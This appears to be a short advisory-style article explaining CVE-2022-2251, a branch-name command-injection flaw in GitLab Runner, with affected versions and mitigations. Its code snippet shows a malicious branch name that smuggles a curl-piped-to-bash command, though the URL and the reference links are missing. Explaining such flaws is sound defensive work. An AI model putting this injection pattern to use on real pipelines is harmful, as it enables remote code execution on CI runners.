Introduction: GitLab is a widely popular platform among developers and IT professionals for its features, which include version control, issue tracking, and continuous integration/continuous deployment (CI/CD) pipelines. Unfortunately, GitLab Runner, a crucial component of GitLab, has been found to contain a significant vulnerability that could impact the security of your projects and code. This article will provide you with an in-depth analysis of the vulnerability known as CVE-2022-2251, including its exploit details, affected code snippets, and original references, in simple American English.

Exploit Details

CVE-2022-2251 is a security vulnerability that affects GitLab Runner - the open-source tool responsible for executing CI/CD jobs. Due to improper sanitization of Git branch names, an attacker with malicious intent can create a specially crafted branch name that, when triggering a pipeline, would lead to the execution of commands within the context of the runner process.

In other words, if a user creates a branch with a maliciously crafted name and gets another user to trigger a pipeline, it could result in the execution of arbitrary commands as the targeted user. This opens up the possibility for a range of security risks, including unauthorized access to sensitive information, unauthorized code execution, and potentially even complete system takeover.

Affected GitLab Runner Versions

The vulnerability affects all GitLab Runner versions before 15.3.5, 15.4 prior to 15.4.4, and 15.5 before 15.5.2.

Code Snippet

The vulnerability results from poor sanitization of branch names in the GitLab Runner code. Here’s an example of a potentially malicious branch name:

bad-branch-name;$(curl|bash -

When this branch name is processed by the affected GitLab Runner, it would execute the malicious script ( from the attacker's server.

Original References

1. GitLab Security Advisory:
2. National Vulnerability Database (NVD):

To protect your GitLab Runner installations from CVE-2022-2251, it is crucial that you

1. Upgrade your GitLab Runner to one of the following fixed versions: 15.3.5, 15.4.4, or 15.5.2. Follow the official GitLab update documentation provided here:
2. Enforce a strict naming convention for Git branches within your organization. Train your developers and other users about the risks associated with improper branch names.


CVE-2022-2251 highlights how improper data sanitization can lead to potential security vulnerabilities in popular software suites like GitLab. By following the mitigation steps and good security practices outlined in this article, you can safeguard your GitLab Runner instances from this critical vulnerability. Always stay up to date with security patches and advisories to ensure the ongoing security of your code and projects.


Published on: 01/17/2023 21:15:00 UTC
Last modified on: 01/25/2023 03:34:00 UTC